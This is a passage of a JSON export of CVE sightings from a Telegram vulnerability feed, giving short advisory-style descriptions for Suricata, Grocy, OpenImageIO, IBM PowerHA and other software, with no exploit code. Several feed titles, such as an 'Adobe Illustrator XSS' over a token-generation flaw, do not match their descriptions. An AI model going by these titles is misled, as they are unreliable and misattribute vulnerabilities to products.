7.2.0 through 7.2.12 allows a remote attacker to gain super-admin privileges via crafted requests to\u00a0Node.js websocket module. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T15:39:32.000000Z"}, {"uuid": "dcf56cbc-2040-4895-a2c1-9e3662f2b916", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55000", "type": "seen", "source": "https://t.me/cvedetector/15269", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55000 - Sourcecodester House Rental Management Cross Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-55000 \nPublished : Jan. 14, 2025, 3:15 p.m. | 45\u00a0minutes ago \nDescription : Sourcecodester House Rental Management system v1.0 is vulnerable to Cross Site Scripting (XSS) in rental/manage_categories.php. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T17:20:16.000000Z"}, {"uuid": "c8a2d0e3-0bd7-492e-a7e3-5da3d3049da5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55547", "type": "seen", "source": "https://t.me/cvedetector/12525", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55547 - ORing IAP-420 SNMP Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55547 \nPublished : Dec. 10, 2024, 5:15 p.m. | 35\u00a0minutes ago \nDescription : SNMP objects in NET-SNMP used in ORing IAP-420 allows Command Injection.\u00a0This issue affects IAP-420: through 2.01e. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T19:08:52.000000Z"}, {"uuid": "75990e64-7c45-4d13-876f-3efd1e4e69f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55511", "type": "seen", "source": "https://t.me/cvedetector/15656", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55511 - Macrium Reflect Null Pointer Dereference Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55511 \nPublished : Jan. 16, 2025, 10:15 p.m. | 28\u00a0minutes ago \nDescription : A null pointer dereference vulnerability in Macrium Reflect prior to 8.1.8017 allows an attacker to elevate their privileges via executing a specially crafted executable. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-16T23:46:30.000000Z"}, {"uuid": "2d71ea0e-a53c-4ea4-9c04-612cfadc9a5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55503", "type": "seen", "source": "https://t.me/cvedetector/15543", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55503 - Termius DYLD Injection Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55503 \nPublished : Jan. 15, 2025, 11:15 p.m. | 34\u00a0minutes ago \nDescription : An issue in termius before v.9.9.0 allows a local attacker to execute arbitrary code via a crafted script to the DYLD_INSERT_LIBRARIES component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-16T01:10:37.000000Z"}, {"uuid": "70f1d319-d5b5-4028-ae07-04410b19efea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55074", "type": "seen", "source": "https://t.me/cvedetector/14405", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55074 - Grocy Stored XSS Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55074 \nPublished : Jan. 6, 2025, 8:15 p.m. | 36\u00a0minutes ago \nDescription : The edit profile function of Grocy through 4.3.0 allows stored XSS and resultant privilege escalation by uploading a crafted HTML or SVG file, a different issue than CVE-2024-8370. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T21:57:56.000000Z"}, {"uuid": "6fac88f2-6683-44e4-9d34-e726918bb19f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55553", "type": "seen", "source": "https://t.me/cvedetector/14424", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55553 - FRR RPKI Update Flooding Remote Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-55553 \nPublished : Jan. 6, 2025, 11:15 p.m. | 42\u00a0minutes ago \nDescription : In FRRouting (FRR) before 10.3, it is possible for an attacker to trigger repeated RIB revalidation by sending approximately 500 RPKI updates, potentially leading to prolonged revalidation times and a Denial of Service (DoS) scenario. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T01:18:48.000000Z"}, {"uuid": "dce0e5c1-c16b-41c3-97ba-027daa4eeab6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5594", "type": "seen", "source": "https://t.me/cvedetector/14359", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5594 - OpenVPN PATH Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5594 \nPublished : Jan. 6, 2025, 2:15 p.m. | 43\u00a0minutes ago \nDescription : OpenVPN before 2.6.11 does not santize PUSH_REPLY messages properly which attackers can use to inject unexpected arbitrary data into third-party executables or plug-ins. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T16:05:41.000000Z"}, {"uuid": "9f3896ac-5b66-48cf-9197-65ad60a403e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55628", "type": "seen", "source": "https://t.me/cvedetector/14397", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55628 - Suricata DNS Resource Name Compression Denial of Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55628 \nPublished : Jan. 6, 2025, 6:15 p.m. | 44\u00a0minutes ago \nDescription : Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to version 7.0.8, DNS resource name compression can lead to small DNS messages containing very large hostnames which can be costly to decode, and lead to very large DNS log records. While there are limits in place, they were too generous. The issue has been addressed in Suricata 7.0.8. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T20:17:37.000000Z"}, {"uuid": "60020e53-9383-4a6a-8fef-296e56c53369", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55627", "type": "seen", "source": "https://t.me/cvedetector/14396", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55627 - Suricata Unsigned Integer Underflow Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55627 \nPublished : Jan. 6, 2025, 6:15 p.m. | 44\u00a0minutes ago \nDescription : Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to 7.0.8, a specially crafted TCP stream can lead to a very large buffer overflow while being zero-filled during initialization with memset due to an unsigned integer underflow. The issue has been addressed in Suricata 7.0.8. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T20:17:37.000000Z"}, {"uuid": "fcc93116-58f8-46b9-b904-42471f06bf5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55075", "type": "seen", "source": "https://t.me/cvedetector/14408", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55075 - Grocy Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-55075 \nPublished : Jan. 6, 2025, 9:15 p.m. | 26\u00a0minutes ago \nDescription : Grocy through 4.3.0 allows remote attackers to obtain sensitive information via direct requests to pages that are not shown in the UI, such as calendar and recipes. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T22:48:07.000000Z"}, {"uuid": "6604e22f-2fec-4a75-8632-09bfaee954aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55076", "type": "seen", "source": "https://t.me/cvedetector/14407", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55076 - Grocy CSRF Password Change Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55076 \nPublished : Jan. 6, 2025, 9:15 p.m. | 26\u00a0minutes ago \nDescription : Grocy through 4.3.0 has no CSRF protection, as demonstrated by changing the Administrator's password. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T22:48:06.000000Z"}, {"uuid": "2638833f-784c-43eb-bb54-fea4b6d0e653", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55407", "type": "seen", "source": "https://t.me/cvedetector/14402", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55407 - ITE IO Access Arbitrary Port Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55407 \nPublished : Jan. 6, 2025, 7:15 p.m. | 45\u00a0minutes ago \nDescription : An issue in the DeviceloControl function of ITE Tech. Inc ITE IO Access v1.0.0.0 allows attackers to perform arbitrary port read and write actions via supplying crafted IOCTL requests. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T21:07:50.000000Z"}, {"uuid": "f6f1aa20-7732-4827-b46f-1f34d149013e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55408", "type": "seen", "source": "https://t.me/cvedetector/14401", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55408 - ASUS System Analysis IO Arbitrary Read and Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55408 \nPublished : Jan. 6, 2025, 7:15 p.m. | 45\u00a0minutes ago \nDescription : An issue in the AsusSAIO.sys component of ASUS System Analysis IO v1.0.0 allows attackers to perform arbitrary read and write actions via supplying crafted IOCTL requests. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T21:07:50.000000Z"}, {"uuid": "43e50f6f-73e7-44aa-9707-b00415c5d909", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55626", "type": "seen", "source": "https://t.me/cvedetector/14395", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55626 - Suricata Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-55626 \nPublished : Jan. 6, 2025, 6:15 p.m. | 44\u00a0minutes ago \nDescription : Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to 7.0.8, a large BPF filter file provided to Suricata at startup can lead to a buffer overflow at Suricata startup. The issue has been addressed in Suricata 7.0.8. \nSeverity: 3.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T20:17:33.000000Z"}, {"uuid": "970bb04b-ccfc-4c32-a6bd-7d5f7ccb2163", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55529", "type": "seen", "source": "https://t.me/cvedetector/14394", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55529 - Z-BlogPHP Theme Shell Template Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55529 \nPublished : Jan. 6, 2025, 6:15 p.m. | 44\u00a0minutes ago \nDescription : Z-BlogPHP 1.7.3 is vulnerable to arbitrary code execution via \\zb_users\\theme\\shell\\template. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T20:17:32.000000Z"}, {"uuid": "f421746c-9603-41b9-bb56-359bc5fcdf03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55629", "type": "seen", "source": "https://t.me/cvedetector/14392", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55629 - Suricata Urgent Data Handling vulnerabiity\", \n  \"Content\": \"CVE ID : CVE-2024-55629 \nPublished : Jan. 6, 2025, 6:15 p.m. | 44\u00a0minutes ago \nDescription : Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to 7.0.8, TCP streams with TCP urgent data (out of band data) can lead to Suricata analyzing data differently than the applications at the TCP endpoints, leading to possible evasions. Suricata 7.0.8 includes options to allow users to configure how to handle TCP urgent data. In IPS mode, you can use a rule such as drop tcp any any -&gt; any any (sid:1; tcp.flags:U*;) to drop all the packets with urgent flag set. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T20:17:30.000000Z"}, {"uuid": "0f835923-055c-41a8-b192-9a552afd6c79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55605", "type": "seen", "source": "https://t.me/cvedetector/14388", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55605 - Suricata Stack-Based Buffer Overflow Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-55605 \nPublished : Jan. 6, 2025, 5:15 p.m. | 43\u00a0minutes ago \nDescription : Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to 7.0.8, a large input buffer to the to_lowercase, to_uppercase, strip_whitespace, compress_whitespace, dotprefix, header_lowercase, strip_pseudo_headers, url_decode, or xor transform can lead to a stack overflow causing Suricata to crash. The issue has been addressed in Suricata 7.0.8. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-06T19:26:47.000000Z"}, {"uuid": "357ac8c3-76fd-4b8f-84eb-3e50a7935711", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55929", "type": "seen", "source": "https://t.me/cvedetector/16222", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55929 - Cisco Email Spoofing Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55929 \nPublished : Jan. 23, 2025, 6:15 p.m. | 42\u00a0minutes ago \nDescription : Mail spoofing \nSeverity: 5.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T19:59:31.000000Z"}, {"uuid": "668fd026-3647-4cbd-bf2d-e46cd415bc93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55928", "type": "seen", "source": "https://t.me/cvedetector/16221", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55928 - \"Apache Cassandra Exposes Clear Text Secrets\"\", \n  \"Content\": \"CVE ID : CVE-2024-55928 \nPublished : Jan. 23, 2025, 6:15 p.m. | 42\u00a0minutes ago \nDescription : Clear text secrets returned &amp; Remote system secrets in clear text \nSeverity: 6.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T19:59:30.000000Z"}, {"uuid": "dd3d5b4a-5f09-4ae4-a5b7-906d4fbd1a35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55926", "type": "seen", "source": "https://t.me/cvedetector/16224", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55926 - Apache Web Server File Inclusion\", \n  \"Content\": \"CVE ID : CVE-2024-55926 \nPublished : Jan. 23, 2025, 6:15 p.m. | 42\u00a0minutes ago \nDescription : Arbitrary file upload, deletion and read through header manipulation \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T19:59:32.000000Z"}, {"uuid": "d09543e0-e1bd-4486-8f9c-3aafec9d4a12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55925", "type": "seen", "source": "https://t.me/cvedetector/16207", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55925 - Adobe Campaign Header Manipulation Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-55925 \nPublished : Jan. 23, 2025, 5:15 p.m. | 40\u00a0minutes ago \nDescription : API Security bypass through header manipulation \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T19:09:08.000000Z"}, {"uuid": "fbc1b21b-bb31-49f9-b276-2f2b7f388141", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55927", "type": "seen", "source": "https://t.me/cvedetector/16225", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55927 - Adobe Illustrator Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-55927 \nPublished : Jan. 23, 2025, 6:15 p.m. | 42\u00a0minutes ago \nDescription : Flawed token generation implementation &amp; Hard-coded key implementation \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T19:59:33.000000Z"}, {"uuid": "6100f448-b483-44e0-b9b1-7e809a88f830", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55930", "type": "seen", "source": "https://t.me/cvedetector/16223", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55930 - \"Apache Server Privilege Escalation\"\", \n  \"Content\": \"CVE ID : CVE-2024-55930 \nPublished : Jan. 23, 2025, 6:15 p.m. | 42\u00a0minutes ago \nDescription : Weak default folder permissions \nSeverity: 6.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-23T19:59:32.000000Z"}, {"uuid": "037f5ad6-5519-4a5d-8b05-4efbfe1a57d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55897", "type": "seen", "source": "https://t.me/cvedetector/14248", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55897 - IBM PowerHA SystemMirror for i Insecure Cookie Storage Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55897 \nPublished : Jan. 3, 2025, 11:15 p.m. | 40\u00a0minutes ago \nDescription : IBM PowerHA SystemMirror for i 7.4 and 7.5   \n  \ndoes not set the secure attribute on authorization tokens or session cookies. Attackers may be able to get the cookie values by sending a http:// link to a user or by planting this link in a site the user goes to. The cookie will be sent to the insecure link and the attacker can then obtain the cookie value by snooping the traffic. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T01:22:59.000000Z"}, {"uuid": "bb00c1af-9937-4bd0-96c1-1c630bf591ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55896", "type": "seen", "source": "https://t.me/cvedetector/14247", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55896 - IBM PowerHA SystemMirror for i Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-55896 \nPublished : Jan. 3, 2025, 11:15 p.m. | 40\u00a0minutes ago \nDescription : IBM PowerHA SystemMirror for i 7.4 and 7.5 contains improper restrictions when rendering content via iFrames. \u00a0This vulnerability could allow an attacker to gain improper access and perform unauthorized actions on the system. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T01:22:58.000000Z"}, {"uuid": "b0226760-778b-4f51-9ce0-5d8f1734b175", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55195", "type": "seen", "source": "https://t.me/cvedetector/16237", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55195 - OpenImageIO Image Buffer Allocation Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-55195 \nPublished : Jan. 23, 2025, 10:15 p.m. | 36\u00a0minutes ago \nDescription : An allocation-size-too-big bug in the component /imagebuf.cpp of OpenImageIO v3.1.0.0dev may cause a Denial of Service (DoS) when the program to requests to allocate too much space. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-24T00:10:15.000000Z"}, {"uuid": "1038ff97-9c52-4e19-9e41-a5136a66655c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55194", "type": "seen", "source": "https://t.me/cvedetector/16236", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55194 - OpenImageIO Heap Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-55194 \nPublished : Jan. 23, 2025, 10:15 p.m. | 36\u00a0minutes ago \nDescription : OpenImageIO v3.1.0.0dev was discovered to contain a heap overflow via the component /OpenImageIO/fmath.h. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-24T00:10:14.000000Z"}, {"uuid": "7d5888b9-67b5-4113-a86f-5ce93a7485e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55193", "type": "seen", "source": "https://t.me/cvedetector/16235", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55193 - OpenImageIO Integer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55193 \nPublished : Jan. 23, 2025, 10:15 p.m. | 36\u00a0minutes ago \nDescription : OpenImageIO v3.1.0.0dev was discovered to contain a segmentation violation via the component /OpenImageIO/string_view.h. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-24T00:10:13.000000Z"}, {"uuid": "903057f8-86be-4cc1-84df-95735e7269a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55192", "type": "seen", "source": "https://t.me/cvedetector/16234", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55192 - OpenImageIO Heap Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-55192 \nPublished : Jan. 23, 2025, 10:15 p.m. | 36\u00a0minutes ago \nDescription : OpenImageIO v3.1.0.0dev was discovered to contain a heap overflow via the component OpenImageIO_v3_1_0::farmhash::inlined::Fetch64(char const*). \nSeverity: 